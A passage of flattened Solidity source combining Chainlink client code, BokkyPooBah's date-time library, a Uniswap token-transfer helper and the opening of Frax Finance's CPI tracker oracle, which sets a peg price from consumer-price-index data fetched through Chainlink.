LINK sent req.id, req.callbackFunctionId, nonce, OPERATOR_ARGS_VERSION, req.buf.buf ); return _rawRequest(oracleAddress, nonce, payment, encodedRequest); } /** * @notice Make a request to an oracle * @param oracleAddress The address of the oracle for the request * @param nonce used to generate the request ID * @param payment The amount of LINK to send for the request * @param encodedRequest data encoded for request type specific format * @return requestId The request ID */ function _rawRequest( address oracleAddress, uint256 nonce, uint256 payment, bytes memory encodedRequest ) private returns (bytes32 requestId) { requestId = keccak256(abi.encodePacked(this, nonce)); s_pendingRequests[requestId] = oracleAddress; emit ChainlinkRequested(requestId); require(s_link.transferAndCall(oracleAddress, payment, encodedRequest), "unable to transferAndCall to oracle"); } /** * @notice Allows a request to be cancelled if it has not been fulfilled * @dev Requires keeping track of the expiration value emitted from the oracle contract. * Deletes the request from the `pendingRequests` mapping. * Emits ChainlinkCancelled event. * @param requestId The request ID * @param payment The amount of LINK sent for the request * @param callbackFunc The callback function specified for the request * @param expiration The time of the expiration for the request */ function cancelChainlinkRequest( bytes32 requestId, uint256 payment, bytes4 callbackFunc, uint256 expiration ) internal { OperatorInterface requested = OperatorInterface(s_pendingRequests[requestId]); delete s_pendingRequests[requestId]; emit ChainlinkCancelled(requestId); requested.cancelOracleRequest(requestId, payment, callbackFunc, expiration); } /** * @notice the next request count to be used in generating a nonce * @dev starts at 1 in order to ensure consistent gas cost * @return returns the next request count to be used in a nonce */ function getNextRequestCount() internal view returns (uint256) { return s_requestCount; } /** * @notice Sets the stored oracle address * @param oracleAddress The address of the oracle contract */ function setChainlinkOracle(address oracleAddress) internal { s_oracle = OperatorInterface(oracleAddress); } /** * @notice Sets the LINK token address * @param linkAddress The address of the LINK token contract */ function setChainlinkToken(address linkAddress) internal { s_link = LinkTokenInterface(linkAddress); } /** * @notice Sets the Chainlink token address for the public * network as given by the Pointer contract */ function setPublicChainlinkToken() internal { setChainlinkToken(PointerInterface(LINK_TOKEN_POINTER).getAddress()); } /** * @notice Retrieves the stored address of the LINK token * @return The address of the LINK token */ function chainlinkTokenAddress() internal view returns (address) { return address(s_link); } /** * @notice Retrieves the stored address of the oracle contract * @return The address of the oracle contract */ function chainlinkOracleAddress() internal view returns (address) { return address(s_oracle); } /** * @notice Allows for a request which was created on another contract to be fulfilled * on this contract * @param oracleAddress The address of the oracle contract that will fulfill the request * @param requestId The request ID used for the response */ function addChainlinkExternalRequest(address oracleAddress, bytes32 requestId) internal notPendingRequest(requestId) { s_pendingRequests[requestId] = oracleAddress; } /** * @notice Sets the stored oracle and LINK token contracts with the addresses resolved by ENS * @dev Accounts for subnodes having different resolvers * @param ensAddress The address of the ENS contract * @param node The ENS node hash */ function useChainlinkWithENS(address ensAddress, bytes32 node) internal { s_ens = ENSInterface(ensAddress); s_ensNode = node; bytes32 linkSubnode = keccak256(abi.encodePacked(s_ensNode, ENS_TOKEN_SUBNAME)); ENSResolver_Chainlink resolver = ENSResolver_Chainlink(s_ens.resolver(linkSubnode)); setChainlinkToken(resolver.addr(linkSubnode)); updateChainlinkOracleWithENS(); } /** * @notice Sets the stored oracle contract with the address resolved by ENS * @dev This may be called on its own as long as `useChainlinkWithENS` has been called previously */ function updateChainlinkOracleWithENS() internal { bytes32 oracleSubnode = keccak256(abi.encodePacked(s_ensNode, ENS_ORACLE_SUBNAME)); ENSResolver_Chainlink resolver = ENSResolver_Chainlink(s_ens.resolver(oracleSubnode)); setChainlinkOracle(resolver.addr(oracleSubnode)); } /** * @notice Ensures that the fulfillment is valid for this contract * @dev Use if the contract developer prefers methods instead of modifiers for validation * @param requestId The request ID for fulfillment */ function validateChainlinkCallback(bytes32 requestId) internal recordChainlinkFulfillment(requestId) // solhint-disable-next-line no-empty-blocks { } /** * @dev Reverts if the sender is not the oracle of the request. * Emits ChainlinkFulfilled event. * @param requestId The request ID for fulfillment */ modifier recordChainlinkFulfillment(bytes32 requestId) { require(msg.sender == s_pendingRequests[requestId], "Source must be the oracle of the request"); delete s_pendingRequests[requestId]; emit ChainlinkFulfilled(requestId); _; } /** * @dev Reverts if the request is already pending * @param requestId The request ID for fulfillment */ modifier notPendingRequest(bytes32 requestId) { require(s_pendingRequests[requestId] == address(0), "Request is already pending"); _; } } // File contracts/Math/BokkyPooBahsDateTimeLibrary.sol // ---------------------------------------------------------------------------- // BokkyPooBah's DateTime Library v1.01 // // A gas-efficient Solidity date and time library // // https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence. // ---------------------------------------------------------------------------- library BokkyPooBahsDateTimeLibrary { uint constant SECONDS_PER_DAY = 24 * 60 * 60; uint constant SECONDS_PER_HOUR = 60 * 60; uint constant SECONDS_PER_MINUTE = 60; int constant OFFSET19700101 = 2440588; uint constant DOW_MON = 1; uint constant DOW_TUE = 2; uint constant DOW_WED = 3; uint constant DOW_THU = 4; uint constant DOW_FRI = 5; uint constant DOW_SAT = 6; uint constant DOW_SUN = 7; // ------------------------------------------------------------------------ // Calculate the number of days from 1970/01/01 to year/month/day using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and subtracting the offset 2440588 so that 1970/01/01 is day 0 // // days = day // - 32075 // + 1461 * (year + 4800 + (month - 14) / 12) / 4 // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12 // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4 // - offset // ------------------------------------------------------------------------ function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) { require(year >= 1970); int _year = int(year); int _month = int(month); int _day = int(day); int __days = _day - 32075 + 1461 * (_year + 4800 + (_month - 14) / 12) / 4 + 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12 - 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4 - OFFSET19700101; _days = uint(__days); } // ------------------------------------------------------------------------ // Calculate year/month/day from the number of days since 1970/01/01 using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and adding the offset 2440588 so that 1970/01/01 is day 0 // // int L = days + 68569 + offset // int N = 4 * L / 146097 // L = L - (146097 * N + 3) / 4 // year = 4000 * (L + 1) / 1461001 // L = L - 1461 * year / 4 + 31 // month = 80 * L / 2447 // dd = L - 2447 * month / 80 // L = month / 11 // month = month + 2 - 12 * L // year = 100 * (N - 49) + year + L // ------------------------------------------------------------------------ function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) { int __days = int(_days); int L = __days + 68569 + OFFSET19700101; int N = 4 * L / 146097; L = L - (146097 * N + 3) / 4; int _year = 4000 * (L + 1) / 1461001; L = L - 1461 * _year / 4 + 31; int _month = 80 * L / 2447; int _day = L - 2447 * _month / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint(_year); month = uint(_month); day = uint(_day); } function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY; } function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second; } function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; secs = secs % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; second = secs % SECONDS_PER_MINUTE; } function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) { if (year >= 1970 && month > 0 && month <= 12) { uint daysInMonth = _getDaysInMonth(year, month); if (day > 0 && day <= daysInMonth) { valid = true; } } } function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) { if (isValidDate(year, month, day)) { if (hour < 24 && minute < 60 && second < 60) { valid = true; } } } function isLeapYear(uint timestamp) internal pure returns (bool leapYear) { (uint year,,) = _daysToDate(timestamp / SECONDS_PER_DAY); leapYear = _isLeapYear(year); } function _isLeapYear(uint year) internal pure returns (bool leapYear) { leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0); } function isWeekDay(uint timestamp) internal pure returns (bool weekDay) { weekDay = getDayOfWeek(timestamp) <= DOW_FRI; } function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) { weekEnd = getDayOfWeek(timestamp) >= DOW_SAT; } function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) { (uint year, uint month,) = _daysToDate(timestamp / SECONDS_PER_DAY); daysInMonth = _getDaysInMonth(year, month); } function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { daysInMonth = 31; } else if (month != 2) { daysInMonth = 30; } else { daysInMonth = _isLeapYear(year) ? 29 : 28; } } // 1 = Monday, 7 = Sunday function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) { uint _days = timestamp / SECONDS_PER_DAY; dayOfWeek = (_days + 3) % 7 + 1; } function getYear(uint timestamp) internal pure returns (uint year) { (year,,) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getMonth(uint timestamp) internal pure returns (uint month) { (,month,) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getDay(uint timestamp) internal pure returns (uint day) { (,,day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getHour(uint timestamp) internal pure returns (uint hour) { uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; } function getMinute(uint timestamp) internal pure returns (uint minute) { uint secs = timestamp % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; } function getSecond(uint timestamp) internal pure returns (uint second) { second = timestamp % SECONDS_PER_MINUTE; } function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); year += _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); month += _months; year += (month - 1) / 12; month = (month - 1) % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _days * SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _hours * SECONDS_PER_HOUR; require(newTimestamp >= timestamp); } function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE; require(newTimestamp >= timestamp); } function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _seconds; require(newTimestamp >= timestamp); } function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); year -= _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint yearMonth = year * 12 + (month - 1) - _months; year = yearMonth / 12; month = yearMonth % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _days * SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _hours * SECONDS_PER_HOUR; require(newTimestamp <= timestamp); } function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE; require(newTimestamp <= timestamp); } function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _seconds; require(newTimestamp <= timestamp); } function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) { require(fromTimestamp <= toTimestamp); (uint fromYear,,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (uint toYear,,) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _years = toYear - fromYear; } function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) { require(fromTimestamp <= toTimestamp); (uint fromYear, uint fromMonth,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (uint toYear, uint toMonth,) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth; } function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) { require(fromTimestamp <= toTimestamp); _days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY; } function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) { require(fromTimestamp <= toTimestamp); _hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR; } function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) { require(fromTimestamp <= toTimestamp); _minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE; } function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) { require(fromTimestamp <= toTimestamp); _seconds = toTimestamp - fromTimestamp; } } // File contracts/Math/BokkyPooBahsDateTimeContract.sol // ---------------------------------------------------------------------------- // BokkyPooBah's DateTime Library v1.00 - Contract Instance // // A gas-efficient Solidity date and time library // // https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. // // GNU Lesser General Public License 3.0 // https://www.gnu.org/licenses/lgpl-3.0.en.html // ---------------------------------------------------------------------------- contract BokkyPooBahsDateTimeContract { uint public constant SECONDS_PER_DAY = 24 * 60 * 60; uint public constant SECONDS_PER_HOUR = 60 * 60; uint public constant SECONDS_PER_MINUTE = 60; int public constant OFFSET19700101 = 2440588; uint public constant DOW_MON = 1; uint public constant DOW_TUE = 2; uint public constant DOW_WED = 3; uint public constant DOW_THU = 4; uint public constant DOW_FRI = 5; uint public constant DOW_SAT = 6; uint public constant DOW_SUN = 7; function _now() public view returns (uint timestamp) { timestamp = block.timestamp; } function _nowDateTime() public view returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day, hour, minute, second) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(block.timestamp); } function _daysFromDate(uint year, uint month, uint day) public pure returns (uint _days) { return BokkyPooBahsDateTimeLibrary._daysFromDate(year, month, day); } function _daysToDate(uint _days) public pure returns (uint year, uint month, uint day) { return BokkyPooBahsDateTimeLibrary._daysToDate(_days); } function timestampFromDate(uint year, uint month, uint day) public pure returns (uint timestamp) { return BokkyPooBahsDateTimeLibrary.timestampFromDate(year, month, day); } function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) public pure returns (uint timestamp) { return BokkyPooBahsDateTimeLibrary.timestampFromDateTime(year, month, day, hour, minute, second); } function timestampToDate(uint timestamp) public pure returns (uint year, uint month, uint day) { (year, month, day) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp); } function timestampToDateTime(uint timestamp) public pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day, hour, minute, second) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(timestamp); } function isValidDate(uint year, uint month, uint day) public pure returns (bool valid) { valid = BokkyPooBahsDateTimeLibrary.isValidDate(year, month, day); } function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) public pure returns (bool valid) { valid = BokkyPooBahsDateTimeLibrary.isValidDateTime(year, month, day, hour, minute, second); } function isLeapYear(uint timestamp) public pure returns (bool leapYear) { leapYear = BokkyPooBahsDateTimeLibrary.isLeapYear(timestamp); } function _isLeapYear(uint year) public pure returns (bool leapYear) { leapYear = BokkyPooBahsDateTimeLibrary._isLeapYear(year); } function isWeekDay(uint timestamp) public pure returns (bool weekDay) { weekDay = BokkyPooBahsDateTimeLibrary.isWeekDay(timestamp); } function isWeekEnd(uint timestamp) public pure returns (bool weekEnd) { weekEnd = BokkyPooBahsDateTimeLibrary.isWeekEnd(timestamp); } function getDaysInMonth(uint timestamp) public pure returns (uint daysInMonth) { daysInMonth = BokkyPooBahsDateTimeLibrary.getDaysInMonth(timestamp); } function _getDaysInMonth(uint year, uint month) public pure returns (uint daysInMonth) { daysInMonth = BokkyPooBahsDateTimeLibrary._getDaysInMonth(year, month); } function getDayOfWeek(uint timestamp) public pure returns (uint dayOfWeek) { dayOfWeek = BokkyPooBahsDateTimeLibrary.getDayOfWeek(timestamp); } function getYear(uint timestamp) public pure returns (uint year) { year = BokkyPooBahsDateTimeLibrary.getYear(timestamp); } function getMonth(uint timestamp) public pure returns (uint month) { month = BokkyPooBahsDateTimeLibrary.getMonth(timestamp); } function getDay(uint timestamp) public pure returns (uint day) { day = BokkyPooBahsDateTimeLibrary.getDay(timestamp); } function getHour(uint timestamp) public pure returns (uint hour) { hour = BokkyPooBahsDateTimeLibrary.getHour(timestamp); } function getMinute(uint timestamp) public pure returns (uint minute) { minute = BokkyPooBahsDateTimeLibrary.getMinute(timestamp); } function getSecond(uint timestamp) public pure returns (uint second) { second = BokkyPooBahsDateTimeLibrary.getSecond(timestamp); } function addYears(uint timestamp, uint _years) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.addYears(timestamp, _years); } function addMonths(uint timestamp, uint _months) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.addMonths(timestamp, _months); } function addDays(uint timestamp, uint _days) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.addDays(timestamp, _days); } function addHours(uint timestamp, uint _hours) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.addHours(timestamp, _hours); } function addMinutes(uint timestamp, uint _minutes) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.addMinutes(timestamp, _minutes); } function addSeconds(uint timestamp, uint _seconds) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.addSeconds(timestamp, _seconds); } function subYears(uint timestamp, uint _years) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.subYears(timestamp, _years); } function subMonths(uint timestamp, uint _months) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.subMonths(timestamp, _months); } function subDays(uint timestamp, uint _days) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.subDays(timestamp, _days); } function subHours(uint timestamp, uint _hours) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.subHours(timestamp, _hours); } function subMinutes(uint timestamp, uint _minutes) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.subMinutes(timestamp, _minutes); } function subSeconds(uint timestamp, uint _seconds) public pure returns (uint newTimestamp) { newTimestamp = BokkyPooBahsDateTimeLibrary.subSeconds(timestamp, _seconds); } function diffYears(uint fromTimestamp, uint toTimestamp) public pure returns (uint _years) { _years = BokkyPooBahsDateTimeLibrary.diffYears(fromTimestamp, toTimestamp); } function diffMonths(uint fromTimestamp, uint toTimestamp) public pure returns (uint _months) { _months = BokkyPooBahsDateTimeLibrary.diffMonths(fromTimestamp, toTimestamp); } function diffDays(uint fromTimestamp, uint toTimestamp) public pure returns (uint _days) { _days = BokkyPooBahsDateTimeLibrary.diffDays(fromTimestamp, toTimestamp); } function diffHours(uint fromTimestamp, uint toTimestamp) public pure returns (uint _hours) { _hours = BokkyPooBahsDateTimeLibrary.diffHours(fromTimestamp, toTimestamp); } function diffMinutes(uint fromTimestamp, uint toTimestamp) public pure returns (uint _minutes) { _minutes = BokkyPooBahsDateTimeLibrary.diffMinutes(fromTimestamp, toTimestamp); } function diffSeconds(uint fromTimestamp, uint toTimestamp) public pure returns (uint _seconds) { _seconds = BokkyPooBahsDateTimeLibrary.diffSeconds(fromTimestamp, toTimestamp); } } // File contracts/Uniswap/TransferHelper.sol // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File contracts/Oracle/CPITrackerOracle.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ========================= CPITrackerOracle ========================= // ==================================================================== // Pull in CPI data and track it in Dec 2021 dollars // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Sam Kazemian: https://github.com/samkazemian // Rich Gee: https://github.com/zer0blockchain // Dennis: https://github.com/denett // References // https://docs.chain.link/docs/make-a-http-get-request/#api-consumer-example contract CPITrackerOracle is Owned, ChainlinkClient { using Chainlink for Chainlink.Request; // Core BokkyPooBahsDateTimeContract public time_contract; address public timelock_address; address public bot_address; // Data uint256 public cpi_last = 28012600000; // Dec 2021 CPI-U, 280.126 * 100000000 uint256 public cpi_target = 28193300000; // Jan 2022 CPI-U, 281.933 * 100000000 uint256 public peg_price_last = 1e18; // Use currPegPrice(). Will always be in Dec 2021 dollars uint256 public peg_price_target = 1006450668627688968; // Will always be in Dec 2021 dollars // Chainlink address public oracle; // Chainlink CPI oracle address bytes32 public jobId; // Job ID for the CPI-U date uint256 public fee; // LINK token fee // Tracking uint256 public stored_year = 2022; // Last time (year) the stored CPI data was updated uint256 public stored_month = 1; // Last time (month) the stored CPI data was updated uint256 public lastUpdateTime = 1644886800; // Last time the stored CPI data was updated. uint256 public ramp_period = 28 * 86400; // Apply the CPI delta to the peg price over a set period uint256 public future_ramp_period = 28 * 86400; CPIObservation[] public cpi_observations; // Historical tracking of CPI data // Safety uint256 public max_delta_frac = 25000; // 2.5%. Max month-to-month CPI delta. // Misc string[13] public month_names; // English names of the 12 months uint256 public fulfill_ready_day = 15; // Date of the month that CPI data is expected to by ready by /* ========== STRUCTS ========== */ struct CPIObservation { uint256 result_year; uint256 result_month; uint256 cpi_target; uint256 peg_price_target; uint256 timestamp; } /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require(msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } modifier onlyByOwnGovBot() { require(msg.sender == owner || msg.sender == timelock_address || msg.sender == bot_address, "Not owner, tlck, or bot"); _; } /* ========== CONSTRUCTOR ========== */ constructor ( address _creator_address, address _timelock_address ) Owned(_creator_address) { timelock_address = _timelock_address; // Initialize the array. Cannot be done in the declaration month_names = [ '', 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December' ]; // CPI [Ethereum] // ================================= // setPublicChainlinkToken(); // time_contract = BokkyPooBahsDateTimeContract(0x90503D86E120B3B309CEBf00C2CA013aB3624736); // oracle = 0x049Bd8C3adC3fE7d3Fc2a44541d955A537c2A484; // jobId = "1c309d42c7084b34b1acf1a89e7b51fc"; // fee = 50e18; // 50 LINK // CPI [Polygon Mainnet] // ================================= // setChainlinkToken(0x53E0bca35eC356BD5ddDFebbD1Fc0fD03FaBad39); // time_contract = BokkyPooBahsDateTimeContract(0x998da4fCB229Db1AA84395ef6f0c6be6Ef3dbE58); // oracle = 0x9B44870bcc35734c08e40F847cC068c0bA618194; // jobId = "8107f18343a24980b2fe7d3c8f32630f"; // fee = 1e17; // 0.1 LINK // CPI [Polygon Mumbai] // ================================= setChainlinkToken(0x326C977E6efc84E512bB9C30f76E30c160eD06FB); time_contract = BokkyPooBahsDateTimeContract(0x2Dd1B4D4548aCCeA497050619965f91f78b3b532); oracle = 0x3c30c5c415B2410326297F0f65f5Cbb32f3aefCc; jobId = "32c3e7b12fe44665a4e2bb87aa9779af"; fee = 1e17; // 0.1 LINK // Add the first observation cpi_observations.push(CPIObservation( 2021, 12, cpi_last, peg_price_last, 1642208400 // Dec data observed on Jan 15 2021 )); // Add the second observation cpi_observations.push(CPIObservation( 2022, 1, cpi_target, peg_price_target, 1644886800 // Jan data observed on Feb 15 2022 )); } /* ========== VIEWS ========== */ function upcomingCPIParams() public view returns ( uint256 upcoming_year, uint256 upcoming_month, uint256 upcoming_timestamp ) { if (stored_month == 12) { upcoming_year = stored_year + 1; upcoming_month = 1; } else { upcoming_year = stored_year; upcoming_month = stored_month + 1; } // Data is usually released by the 15th day of the next month (fulfill_ready_day) // https://www.usinflationcalculator.com/inflation/consumer-price-index-release-schedule/ upcoming_timestamp = time_contract.timestampFromDate(upcoming_year, upcoming_month, fulfill_ready_day); } // Display the upcoming CPI month function upcomingSerie() external view returns (string memory serie_name) { // Get the upcoming CPI params (uint256 upcoming_year, uint256 upcoming_month, ) = upcomingCPIParams(); // Convert to a string return string(abi.encodePacked("CUSR0000SA0", " ", month_names[upcoming_month], " ", Strings.toString(upcoming_year))); } // Delta between the current and previous peg prices function currDeltaFracE6() public view returns (int256) { return int256(((peg_price_target - peg_price_last) * 1e6) / peg_price_last); } // Absolute value of the delta between the current and previous peg prices function currDeltaFracAbsE6() public view returns (uint256) { int256 curr_delta_frac = currDeltaFracE6(); if (curr_delta_frac > 0) return uint256(curr_delta_frac); else return uint256(-curr_delta_frac); } // Current peg price in E18, accounting for the ramping function currPegPrice() external view returns (uint256) { uint256 elapsed_time = block.timestamp - lastUpdateTime; if (elapsed_time >= ramp_period) { return peg_price_target; } else { // Calculate the fraction of the delta to use, based on the elapsed time // Can be negative in case of deflation (that never happens right :]) int256 fractional_price_delta = (int256(peg_price_target - peg_price_last) * int256(elapsed_time)) / int256(ramp_period); return uint256(int256(peg_price_last) + int256(fractional_price_delta)); } } /* ========== MUTATIVE ========== */ // Fetch the CPI data from the Chainlink oracle function requestCPIData() external onlyByOwnGovBot returns (bytes32 requestId) { Chainlink.Request memory request = buildChainlinkRequest(jobId, address(this), this.fulfill.selector); // Get the upcoming CPI params (uint256 upcoming_year, uint256 upcoming_month, uint256 upcoming_timestamp) = upcomingCPIParams(); // Don't update too fast require(block.timestamp >= upcoming_timestamp, "Too early"); request.add("serie", "CUSR0000SA0"); // CPI-U: https://data.bls.gov/timeseries/CUSR0000SA0 request.add("month", month_names[upcoming_month]); request.add("year", Strings.toString(upcoming_year)); return sendChainlinkRequestTo(oracle, request, fee); } /** * Callback function */ // Called by the Chainlink oracle function fulfill(bytes32 _requestId, uint256 result) public recordChainlinkFulfillment(_requestId) { // Set the stored CPI and price to the old targets cpi_last = cpi_target; peg_price_last = peg_price_target; // Set the target CPI and price based on the results cpi_target = result; peg_price_target = (peg_price_last * cpi_target) / cpi_last; // Make sure the delta 